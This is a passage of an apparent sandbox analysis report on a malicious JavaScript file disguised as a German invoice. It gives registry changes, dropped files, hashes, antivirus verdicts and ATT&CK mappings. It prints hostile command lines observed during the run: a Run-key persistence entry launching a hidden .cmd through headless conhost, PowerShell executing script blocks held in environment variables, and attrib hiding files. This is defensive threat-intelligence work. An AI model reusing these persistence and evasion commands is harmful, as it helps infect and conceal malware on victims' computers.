"D90C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE830071000000A19F5E000400010000006D00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000001F0000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "C07862FC5252DD010000000000000000000000000200000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "CACHEINTEGRITY_KBWW"; Value: "%WINDIR%\System32\conhost.exe --headless -- %WINDIR%\System32\cmd.exe /c call "%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc_NQFEMERLh.cmd"")4a:T453,Dropped file: "search_crc_NQFEMERLh.cmd" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc_NQFEMERLh.cmd]- [targetUID: 00000000-00007652] Dropped file: "search_crc.dat" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc.dat]- [targetUID: 00000000-00007652] Dropped file: "ModuleAnalysisCache" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00000868] Dropped file: "RAP3MVT72BSEYKQWA9FG.temp" - Location: [%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\RAP3MVT72BSEYKQWA9FG.temp]- [targetUID: 00000000-00007652] Dropped file: "StartupProfileData-NonInteractive" - Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000652] Dropped file: "search_crc_PNIAFPLE.cmd" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\search_crc\search_crc_PNIAFPLE.cmd]- [targetUID: 00000000-00007652] Dropped file: "54102062952225.cmd" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Caches\54102062952225.cmd]- [targetUID: 00000000-00000652]4b:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")4c:T4c9,Spawned process "WScript.exe" with commandline ""C:\\Rechnung103971GmbH10-02-2026.js"" (UID: 00000000-00007632) Spawned process "powershell.exe" with commandline "-noprofile -command &($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HXIHKE))" (UID: 00000000-00000652) Spawned process "cmd.exe" with commandline "/c call "%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd" & attrib +h +s "%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd"" (UID: 00000000-00005296) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))"" (UID: 00000000-00000868) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))"" (UID: 00000000-00001280) Spawned process "powershell.exe" with commandline "-NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:OBGNKQ))"" (UID: 00000000-00007652) Spawned process "attrib.exe" with commandline "attrib +h +s "%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\54102062952225.cmd"" (UID: 00000000-00007088) Spawned process "choice.exe" (UID: 00000000-00004940)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790942514339,"unified_at":"2026-10-02T12:01:54.339Z","metadata":{"hashes":{"sha256":"11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d","sha1":"e6af7119b2aeca3e662ec436e83c4fe4a768800d","md5":"789c6c759ed022cc98a35f838eef6e9d","sha512":"d910ab7a1bd1984fbeba3baaf1caf4452d04a77d362ac108633831e182516de0533803038197ed1052d7f52c08695e6a8cc25ba2aaf603e74c66476baf32fef1","ssdeep":"12288:HMoMkHQiTwuK8SBKemsyvT+q96f+ZsNs41pHSKEdcyE1ywUX:jPwQSE9syaqwts410K1yELO","ssdeep_chunks":["12288:HMoMkHQ","12288:MoMkHQi","12288:oMkHQiT","12288:MkHQiTw","12288:kHQiTwu","12288:HQiTwuK","12288:QiTwuK8","12288:iTwuK8S","12288:TwuK8SB","12288:wuK8SBK","12288:uK8SBKe","12288:K8SBKem","12288:8SBKems","12288:SBKemsy","12288:BKemsyv","12288:KemsyvT","12288:emsyvT+","12288:msyvT+q","12288:syvT+q9","12288:yvT+q96","12288:vT+q96f","12288:T+q96f+","12288:+q96f+Z","12288:q96f+Zs","12288:96f+ZsN","12288:6f+ZsNs","12288:f+ZsNs4","12288:+ZsNs41","12288:ZsNs41p","12288:sNs41pH","12288:Ns41pHS","12288:s41pHSK","12288:41pHSKE","12288:1pHSKEd","12288:pHSKEdc","12288:HSKEdcy","12288:SKEdcyE","12288:KEdcyE1","12288:EdcyE1y","12288:dcyE1yw","12288:cyE1ywU","12288:yE1ywUX","24576:HMoMkHQ","24576:MoMkHQi","24576:oMkHQiT","24576:MkHQiTw","24576:kHQiTwu","24576:HQiTwuK","24576:QiTwuK8","24576:iTwuK8S","24576:TwuK8SB","24576:wuK8SBK","24576:uK8SBKe","24576:K8SBKem","24576:8SBKems","24576:SBKemsy","24576:BKemsyv","24576:KemsyvT","24576:emsyvT+","24576:msyvT+q","24576:syvT+q9","24576:yvT+q96","24576:vT+q96f","24576:T+q96f+","24576:+q96f+Z","24576:q96f+Zs","24576:96f+ZsN","24576:6f+ZsNs","24576:f+ZsNs4","24576:+ZsNs41","24576:ZsNs41p","24576:sNs41pH","24576:Ns41pHS","24576:s41pHSK","24576:41pHSKE","24576:1pHSKEd","24576:pHSKEdc","24576:HSKEdcy","24576:SKEdcyE","24576:KEdcyE1","24576:EdcyE1y","24576:dcyE1yw","24576:cyE1ywU","24576:yE1ywUX","12288:jPwQSE9","12288:PwQSE9s","12288:wQSE9sy","12288:QSE9sya","12288:SE9syaq","12288:E9syaqw","12288:9syaqwt","12288:syaqwts","12288:yaqwts4","12288:aqwts41","12288:qwts410","12288:wts410K","12288:ts410K1","12288:s410K1y","12288:410K1yE","12288:10K1yEL","12288:0K1yELO"],"imphash":"Unknown"},"file_info":{"file_name":"Rechnung 103971 GmbH 10-02-2026.js","file_type":["script","javascript"],"file_type_id":"js","file_size":704758,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790934400000,"last_seen":1790934400000,"last_multi_scan":1790934400000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":75},"sandbox_signatures":{"informative_count":174,"suspicious_count":21,"malicious_count":5,"total":200},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/Obfuscated.CT trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"BAT/Powcod.H.gen!Camelot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"JS/Obfuscated.CT trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"suspicious","value":"Executes powershell accessing native variables"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"Windows Script Host executes Powershell"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"JavaScript","attack_id":"T1059.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/007","identifiers":[{"type":"informative","value":"Executes a JavaScript file"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"suspicious","value":"Script file shows a combination of malicious behaviors"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Found PE header in memory"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"YARA signature match - PowerShell with Base64 encoding"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Detected XOR operators (encryption/decryption)"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decompress and copy files (API string)"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Indirect Command Execution","attack_id":"T1202","attack_id_wiki":"https://attack.mitre.org/techniques/T1202","identifiers":[{"type":"informative","value":"Able to mask child processes from sight using conhost"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6abf7d7fb5902fdd0b0878fa"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or 